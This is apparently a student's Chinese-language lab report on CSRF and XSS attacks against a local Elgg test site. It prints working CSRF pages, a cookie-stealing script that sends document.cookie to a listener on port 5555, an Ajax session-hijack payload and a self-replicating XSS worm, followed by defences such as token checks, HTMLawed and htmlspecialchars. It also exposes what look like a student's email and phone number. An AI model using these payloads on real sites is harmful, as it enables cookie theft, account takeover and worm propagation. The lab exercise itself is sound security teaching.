信息系统安全lab3记录
跨站请求伪造(CSRF)攻击实验
任务 1**:基于** GET 请求的 CSRF 攻击
使用samy登录,发送添加好友指令,获取url。HTTP Header Live插件窗口截到如图所示的包:
从而可知GET请求结构 http://www.csrflabelgg.com/action/friends/add?friend=id,所以我们现在 需要获取到Samy的ID号,可以通过尝试给Samy新建一个界面看到红色标注的部分45正是Samy的ID。
在Attacker站点下创建get_csrf.html
1
| sudo touch /var/www/CSRF/Attacker/get_csrf.html
|
写入以下内容
1 2 3 4 5 6 7 8 9 10 11 12 13
| <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>CSRF_GET</title> </head> <body> Alice, you're my friend now! <img src="http://www.csrflabelgg.com/action/friends/add?friend=45"/> </body> </html>
|
Samy给Alice发一封邮件,诱导Alice点击恶意链接http://www.csrflabattacker.com/get_csrf.html
登录Alice账号查看邮件并访问恶意网页,抓到了添加用户id为45,即Samy的Get请求包,然后查看Activity界面发现Alice添加了Samy为朋友。
任务 2**:使用** POST 请求的 CSRF 攻击
还是先登录Samy账号,然后修改以下个人主页,进行POST请求的抓包,得到如下结果。
向http://www.csrflabelgg.com/action/profile/edit,发的POST请求,提交的表单内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| __elgg_token=2G9AraT4cb7pPqONMfz3sQ &__elgg_ts=1718837884 &name=Samy &description=<p>A Hacker</p> &accesslevel[description]=2 &briefdescription=Student &accesslevel[briefdescription]=2 &location=Wuhan &accesslevel[location]=2 &interests=Football &accesslevel[interests]=2 &skills=python &accesslevel[skills]=2 &contactemail=U202112149@hust.edu.cn &accesslevel[contactemail]=2 &phone=19907121291 &accesslevel[phone]=2 &mobile=19907121291 &accesslevel[mobile]=2 &website=https://strivelee.top &accesslevel[website]=2 &twitter=lixiang21 &accesslevel[twitter]=2 &guid=45
|
根据这样的请求格式,Alice guid已知为43,尝试使用POST请求进行CSRF攻击。
首先在Attacker站点下创建get_csrf.html
1
| sudo touch /var/www/CSRF/Attacker/post_csrf.html
|
写入以下内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>CSRF_POST</title> </head> <body> Alice, your profile has changed! </body> <script> fetch('http://www.csrflabelgg.com/action/profile/edit', { credentials: 'include', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: new URLSearchParams({ guid:42, description:"<p>Samy is my hero</p>", briefdescription:"I'm Samy", }) }) </script> </html>
|
Samy给Alice发一封邮件,诱导Alice点击恶意链接http://www.csrflabattacker.com/post_csrf.html
登录Alice账号,然后查看并点击邮件中的链接。
可以看到About me部分修改成功,并且抓到POST请求包,与现象一致。
任务 3**:实现** login CSRF 攻击
首先抓取登陆的请求包,对应的请求方式为POST,url为http://www.csrflabelgg.com/action/login, 请求的表单有username和password,均为明文。
表单数据内容如下:
1 2 3 4
| __elgg_token=5ovl8du9mM-5V1rwIDhJsg __elgg_ts=1718872774 username=Samy password=seedsamy
|
首先在Attacker站点下创建get_csrf.html
1
| sudo touch /var/www/CSRF/Attacker/post_csrf.html
|
写入以下内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>CSRF_Login</title> </head> <body> Alice, here is a CSRF_Login attack! </body> <script> fetch('http://www.csrflabelgg.com/action/login', { credentials: 'include', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: new URLSearchParams({ username:"samy", password:"seedsamy", persistent:true, }) }) </script> </html>
|
Samy给Alice发一封邮件,诱导Alice点击恶意链接http://www.csrflabattacker.com/login_csrf.html
任务 4**:防御策略**
首先进入目录/var/www/CSRF/Elgg/vendor/elgg/elgg/engine/classes/Elgg,在 ActionService.php 文件中找到函数 gatekeeper()并注释掉 return true 语句
3种攻击均失败:
get请求没有令牌:
post请求没有令牌:
login没有令牌:
跨站脚本攻击(XSS)实验
首先需要切换网站,切换到http://www.xsslabelgg.com这个。
任务 1**:从受害者的机器上盗取** Cookie
使用samy登录,修改samy的profile。在其中的About me字段,先点击Edit HTML,添加如下内容:
1
| <script>document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>'); </script>
|
切换到Alice,并查看Samy的主页,使用nc监听5555端口nc -l 5555 -v
可以查看报文信息,HTTP Header Live也行。
任务 2**:使用** Ajax 脚本自动发起会话劫持
使用samy登录,修改samy的profile。在其中的About me字段,先点击Edit HTML,添加如下内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <script> window.onload = function () { var ts = elgg.security.token.__elgg_ts; var token = elgg.security.token.__elgg_token; var guid = elgg.session.user.guid; fetch('http://www.xsslabelgg.com/action/profile/edit', { credentials: 'include', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: new URLSearchParams({ __elgg_ts: ts, __elgg_token: token, guid: guid, briefdescription: "Samy is my hero", }) }) } </script>
|
然后,切换到使用Alice登录,从Alice的界面打开Samy的主页查看。通过HTTP Header Live插件发现,一条用来修改brief description的POST已经发出去了,达到了攻击效果。发出去的HTTP包:
任务 3**:构造** XSS 蠕虫
使用samy登录,修改samy的profile。在其中的About me字段,先点击Edit HTML,添加如下内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <script id='worm'> setTimeout(() => { var ts = elgg.security.token.__elgg_ts; var token = elgg.security.token.__elgg_token; var guid = elgg.session.user.guid; fetch('http://www.xsslabelgg.com/action/profile/edit', { credentials: 'include', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: new URLSearchParams({ __elgg_ts: ts, __elgg_token: token, guid: guid, briefdescription: "Samy is my hero", description: "<script id='worm'>" + document.getElementById('worm').innerHTML + "<\/script>" }) }) }, 3000) </script>
|
然后,切换到使用Alice登录,从Alice的界面打开Samy的主页查看。通过HTTP Header Live插件发现,一条用来修改brief description的POST已经发出去了,达到了攻击效果。发出去的HTTP包:
与上面不同的是,这个post报文的description字段修改成了恶意的xss脚本本身,从而造成了可传播性,修改Alice Profile的报文具体内容如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| http://www.xsslabelgg.com/action/profile/edit Host: www.xsslabelgg.com User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://www.xsslabelgg.com/profile/samy content-type: application/x-www-form-urlencoded origin: http://www.xsslabelgg.com Content-Length: 1136 Cookie: Elgg=jl5l97kq1k4todunjgn0ek8ft0 Connection: keep-alive __elgg_ts=1718938378&__elgg_token=P-0B7cbe_msL5vOGF0n8AQ&guid=44&briefdescription=Samy is my hero&description=<script id='worm'> setTimeout(() => { var ts = elgg.security.token.__elgg_ts; var token = elgg.security.token.__elgg_token; var guid = elgg.session.user.guid; fetch('http://www.xsslabelgg.com/action/profile/edit', { credentials: 'include', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: new URLSearchParams({ __elgg_ts: ts, __elgg_token: token, guid: guid, briefdescription: "Samy is my hero", description: "<script id='worm'>" + document.getElementById('worm').innerHTML + "<\/script>" }) }) }, 3000) </script> POST: HTTP/1.1 302 Found Date: Fri, 21 Jun 2024 02:53:01 GMT Server: Apache/2.4.18 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Location: http://www.xsslabelgg.com/profile/alice Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html;charset=utf-8
|
登录Boby访问Alice的profile,同样可以获取到修改profile的POST报文且Boby的介绍也被修改成了同样的句子:
任务 4**:防御策略**
仅开启HTMLawed 1.9
Elgg 有默认的防御策略。虚拟机已停用并注释了相应的的防御策略。其实 Elgg Web 应用程序中原本会启用一个定制的安全插件HTMLawed,该插件会验证用户输入并删除输入中的标签。 这个特定的插件被注册到 elgg/ engine/lib/input.php 文件中的函数 filter tags 中 。比如会把这种标签转化为从而无法执行javascript脚本。
依次转到 Account→administration(顶部菜单)→plugins(在右侧面板上),然后在下拉菜单中选择 security and spam 点击 filter。在下面找到 HTMLawed 1.8 插件。点击 Activate 来开启策略。
再访问Samy的主页,并尝试修改发现script标签被转换为了p标签,插入的js语句格式被转换,无法执行。
开启HTMLawed 1.9和htmlspecialchars
htmlspecialchars
函数将以下特殊字符转换为相应的 HTML 实体:
&
转换为 &
<
转换为 <
>
转换为 >
"
转换为 "
'
转换为 '
我们在虚拟机超级用户下进入目录/var/www/XSS/Elgg/vendor/elgg/elgg/views/default/output/
,使用vim依次进入调用htmlspecialchars()
函数的文件:text.php,url.php,dropdown.php,email.php。在每个文件中取消注释相应的 htmlspecialchars()
函数调用。用到的指令如下:
1 2 3 4 5 6
| sudo su cd /var/www/XSS/Elgg/vendor/elgg/elgg/views/default/output/ vim text.php vim url.php vim dropdown.php vim email.php
|
text.php:
url.php
dropdown.php
email.php
访问Samy主页,发现一些特殊符号已经被转换为了实体符号,js语句无法执行: